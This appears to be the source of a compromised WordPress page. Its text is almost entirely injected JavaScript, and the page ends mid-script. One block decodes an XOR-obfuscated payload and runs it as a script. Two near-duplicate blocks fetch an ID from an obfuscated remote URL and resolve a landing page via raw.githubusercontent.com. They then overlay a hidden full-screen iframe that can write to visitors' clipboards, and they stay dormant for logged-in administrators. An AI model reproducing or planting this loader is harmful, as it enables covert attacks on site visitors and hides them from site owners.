122,122,122,122,122,122,120,53,42,59,57,51,46,35,96,106,120,118,87,80,122,122,122,122,122,122,120,42,53,51,52,46,63,40,119,63,44,63,52,46,41,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,56,59,57,49,61,40,53,47,52,62,96,46,40,59,52,41,42,59,40,63,52,46,120,87,80,122,122,122,122,7,116,48,53,51,52,114,120,97,120,115,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,54,53,59,62,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,123,40,63,61,51,41,46,40,35,116,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,63,40,40,53,40,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,46,51,55,63,53,47,46,19,62,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,118,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,97,87,80,122,122,122,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,97,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,27,10,19,5,19,30,5,15,8,22,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,60,51,52,59,54,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,60,51,52,59,54,15,40,54,115,97,87,80,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,44,59,40,122,60,51,52,59,54,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,59,54,21,40,51,61,51,52,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,51,52,59,54,15,40,54,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,103,122,40,47,52,114,115,97,87,80,39,115,114,115,97];return String.fromCharCode.apply(String,_0x5641.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement(\"script\");__sc.type=\"text\/javascript\";__sc.text=__s;__h.appendChild(__sc);})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch 